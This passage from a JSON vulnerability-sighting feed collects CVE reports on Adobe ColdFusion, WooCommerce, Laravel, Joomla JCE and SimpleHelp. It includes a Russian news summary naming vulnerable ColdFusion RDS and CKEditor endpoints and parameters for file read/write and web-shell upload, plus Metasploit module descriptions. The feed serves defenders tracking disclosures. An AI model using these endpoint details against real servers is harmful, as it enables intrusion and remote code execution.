\u0447\u0435\u0440\u0435\u0437 RDS \u0438 CKEditor\n\n#cve #Adobe #RCE #RDS\n\n30 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 Adobe \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 11 CVE \u0432 ColdFusion 2025 (Update 9 \u0438 \u043d\u0438\u0436\u0435) \u0438 2023 (Update 20 \u0438 \u043d\u0438\u0436\u0435). \u042d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u043b\u043e\u0432 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430, \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 RDS \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 CKEditor.\n\nRDS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 HTTP. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e RDS \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d, \u043d\u043e \u0435\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0433\u043e \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /CFIDE/main/ide.cfm \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c ACTION=FILEIO \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u2014 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0443\u0442\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.\n\n\u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0442\u043e\u0434 FileReadOperator() \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 getFile() \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0442\u0438 (CVE-2026-48313). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 C:\\Windows\\win.ini. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f WRITE (CVE-2026-48282) \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u043f\u0443\u0442\u044c, \u0434\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u0432 wwwroot \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 HTTP \u0437\u0430\u043f\u0440\u043e\u0441\u044b (RCE).\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 CKEditor: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 endpoint \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 multipart-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c path, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043e\u0431\u0445\u043e\u0434 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0432 \u043b\u044e\u0431\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 SYSTEM. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u043d\u043e \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u042d\u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0447 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 filemanager.cfc?method=getfmfiles.\n\n\u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 XSLT-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, SSRF \u0438 XXE, \u043d\u043e \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c .cfm-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0432\u0432\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e.\n\n\u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0441 RDS \u2014 watchTowr \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u043e \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u043d\u043e Adobe \u00ab\u0437\u0430\u0431\u044b\u043b\u0430\u00bb \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-09-06T00:00:38.685934Z"}, {"uuid": "cd9b974a-a7cd-4918-a418-4eec39f4107e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/hZmD1B52vHq6fSvKEDWDKrOWX_CbgCpeltfI-CsbFj8gh80", "content": "", "creation_timestamp": "2026-09-07T08:00:05.769650Z"}, {"uuid": "2f8f4a71-8568-48ee-9052-96927d46b9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/hZmD1B52vHq6fSvKEDWDKrOWX_CbgCpeltfI-CsbFj8gh80", "content": "", "creation_timestamp": "2026-09-08T00:00:51.589540Z"}, {"uuid": "8cdbdd6c-93fd-42b5-aa8e-23603475b27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48888", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3muyttr6x4w2t", "content": "CVE-2026-48888 affects Automattic's WooCommerce plugin for WordPress in all versions before 11.1.0, an unauthenticated HTTP denial-of-service flaw. No exploitation is confirmed. Automattic fixed it in version 11.1.0; sites should update.", "creation_timestamp": "2026-09-08T10:46:46.645058Z"}, {"uuid": "24129bed-3ea4-4bd5-aab2-de41a550344e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48888", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3muyvd6rtkk2c", "content": "WooCommerce\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001HTTP DoS\u653b\u6483\u304c\u53ef\u80fd\u306b\u306a\u308b\u3002\u30ea\u30bd\u30fc\u30b9\u5236\u9650\u306a\u304f\u5272\u308a\u5f53\u3066\u3089\u308c\u308b\u3002\nCVE-2026-48888 CVSS 7.5 | HIGH", "creation_timestamp": "2026-09-08T11:13:17.839408Z"}, {"uuid": "616a7ff5-e66c-4dcc-90c5-666c2b03d6cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3muzipahvzt2z", "content": "CVE-2026-48019: CRLF injection in Laravel (<12.60.0, <13.10.0) may let unauthenticated attackers tamper with outbound emails via user-supplied addresses. CVSS 8.9. No patch confirmed\u2014upgrade to 12.60.0 or 13.10.0 immediately. Details: https://www.valtersit.com/cve/CVE-2026-48019/", "creation_timestamp": "2026-09-08T17:00:03.818515Z"}, {"uuid": "76074f89-667e-42c0-aa02-3530f3093322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117236485519105661", "content": "CVE-2026-48019: CRLF injection in Laravel (<12.60.0, <13.10.0) may let unauthenticated attackers tamper with outbound emails via user-supplied addresses. CVSS 8.9. No patch confirmed\u2014upgrade to 12.60.0 or 13.10.0 immediately. Details: https://www.valtersit.com/cve/CVE-2026-48019/", "creation_timestamp": "2026-09-08T17:00:07.322014Z"}, {"uuid": "d855c015-7e6e-4f96-9764-9d95865cb172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php\", \"author\": [\"ispyispyispy\", \"David Jardin\", \"Uwe Flottemesch\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE\\n          (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce\\n          authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.\\n          This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.\\n\\n          JCE versions up to and including 2.9.99.4 are affected.\", \"disclosure_date\": \"2026-06-05\", \"fullname\": \"exploit/multi/http/joomla_com_jce_unauth_file_upload_rce\", \"is_install_path\": true, \"mod_time\": \"2026-07-23 18:23:12 +0000\", \"name\": \"Joomla Content Editor Unauthenticated File Upload RCE\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb\", \"platform\": \"PHP\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/joomla_com_jce_unauth_file_upload_rce\", \"references\": [\"CVE-2026-48907\", \"GHSA-c3f5-4g7f-qjqj\", \"URL-https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Joomla Content Editor (Joomla!)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:59.968706Z"}, {"uuid": "7bb0ea1a-4bd8-4e3e-a768-89cf9f1de075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Zach Hanley\", \"Horizon3.ai\", \"Blackpoint Cyber\", \"jheysel-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and\\n          obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote\\n          access WebSocket protocol to connect to an online managed machine and execute a\\n          payload through the remote terminal.\\n\\n          An OIDC provider must be enabled for a technician group that permits group-authenticated\\n          logins. The group must be allowed to access the selected machine and run remote commands.\\n          The SimpleHelp server must have a valid session license, and at least one managed machine\\n          must be online.\\n\\n          SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before\\n          6.0 RC2 are also affected.\", \"disclosure_date\": \"2026-06-12\", \"fullname\": \"exploit/multi/http/simplehelp_oidc_auth_bypass_rce\", \"is_install_path\": true, \"mod_time\": \"2026-09-01 14:06:12 +0000\", \"name\": \"SimpleHelp OIDC Authentication Bypass Remote Code Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"config-changes\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb\", \"platform\": \"Linux,OSX,Unix,Windows\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"multi/http/simplehelp_oidc_auth_bypass_rce\", \"references\": [\"CVE-2026-48558\", \"URL-https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/\", \"URL-https://guides.simple-help.com/kb---security-vulnerabilities-05-2026\", \"URL-https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Unix/Linux/macOS Command\", \"Windows Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:11.694070Z"}, {"uuid": "32650ed7-0991-454e-aabf-5671945be494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48888", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muynxhw4tl22", "content": "\ud83d\udfe0 CVE-2026-48888 - High (7.5)\n\nAllocation of Resources Without Limits or Throttling vulnerability in Automattic WooCommerce allo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48888/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-08T09:01:28.894536Z"}, {"uuid": "83d9bcf3-df7d-4a58-a5d7-2f087d2fe75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48273", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mv223t264x2j", "content": "\ud83d\udea8 CVE-2026-48273 \u2014 CVSS 9.9 CRITICAL\n\nColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Inj...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48273\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-08T22:11:18.819080Z"}, {"uuid": "67eed910-581b-44a5-83d2-9f5bc08d5440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48273", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv3hturgru2t", "content": "CVE-2026-48273 - coldfusion 2025\nColdFusion may allow a low\u2011privilege attacker to make the server execute any commands they choose, without needing a victim to click anything. This could give the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#coldfusion2025 #adobe #CVE #infosec", "creation_timestamp": "2026-09-09T11:50:04.342481Z"}, {"uuid": "9fa23125-c3b9-492b-98ce-2a0d4e6c4bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117245580792871468", "content": "\ud83d\udd04 CSAF advisory updated (version 2.0.0)\nVDE-2026-088METTLER TOLEDO: LabX Standard and Enterprise Report on External Component Analysis - v21.4CVE-2026-4800, CVE-2026-33186, CVE-2026-39821, CVE-2026-33671, CVE-2026-0915 (+60 more)\nChanges: corrected version\nHTML: https://certvde.com/en/advisories/VDE-2026-088/CSAF JSON: https://mettler-toledo.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-088.json\n#OT #Advisory", "creation_timestamp": "2026-09-10T07:33:08.726106Z"}, {"uuid": "7923ef08-78b1-49c5-929c-1f2073f56437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mv5jxht7og72", "content": "\ud83d\udd04 CSAF advisory updated (version 2.0.0)\n\nVDE-2026-088\nMETTLER TOLEDO: LabX Standard and Enterprise Report on External Component Analysis - v21.4\nCVE-2026-4800, CVE-2026-33186, CVE-2026-39821, CVE-2026-33671, CVE-2026-0915 (+60 more)\n\nChanges: corrected version\n\nHTML [\u2026]", "creation_timestamp": "2026-09-10T07:33:13.162982Z"}, {"uuid": "dd2a3265-5f90-46d7-b239-1d532b5aa2d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvabr6k4w22a", "content": "\u300cAdobe ColdFusion\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u3067\u304d\u308b\u3060\u3051\u65e9\u304f\u66f4\u65b0\u3092\n\nAdobe\u306f\u3001\u300cAdobe ColdFusion\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u3068\u3057\u3066\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u6df1\u523b\u306a\u8106\u5f31\u6027\u3082\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u304f\u5bfe\u51e6\u3059\u308b\u3088\u3046\u6c42\u3081\u3066\u3044\u308b\u3002\n\n\u73fe\u5730\u6642\u95932026\u5e748\u670811\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001CVE\u30d9\u30fc\u30b9\u306715\u4ef6\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u306a\u304b\u3067\u3082\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308bOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u300cCVE-2026-48362\u300d\u306f\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2\u304c\u6700\u9ad8\u5024\u306e\u300c10.0\u300d\u3068\u8a55\u4fa1...", "creation_timestamp": "2026-09-11T09:44:30.137707Z"}, {"uuid": "1046aadc-6498-4a5c-8d00-b2c4f7e9c632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvamya726s2a", "content": "Adobe\u304cColdFusion\u3068Campaign Classic\u306eCVSS 10.0\u9055\u53cd3\u4ef6\u3092\u4fee\u6b63\n\nAdobe\u306f\u3001ColdFusion\u3001Commerce\u3001\u304a\u3088\u3073Campaign Classic\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u8907\u6570\u306e\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3059\u308b\u305f\u3081\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\n\u6700\u3082\u6df1\u523b\u306a\u6b20\u9665\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-48362 (CVSS\u30b9\u30b3\u30a2: 10.0) - ColdFusion\u306b\u304a\u3051\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u53ef...", "creation_timestamp": "2026-09-11T13:05:20.486204Z"}, {"uuid": "07698d2c-2020-49a7-b876-e8793583a3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4882", "type": "seen", "source": "https://t.me/shimiscyberworld/1118", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f 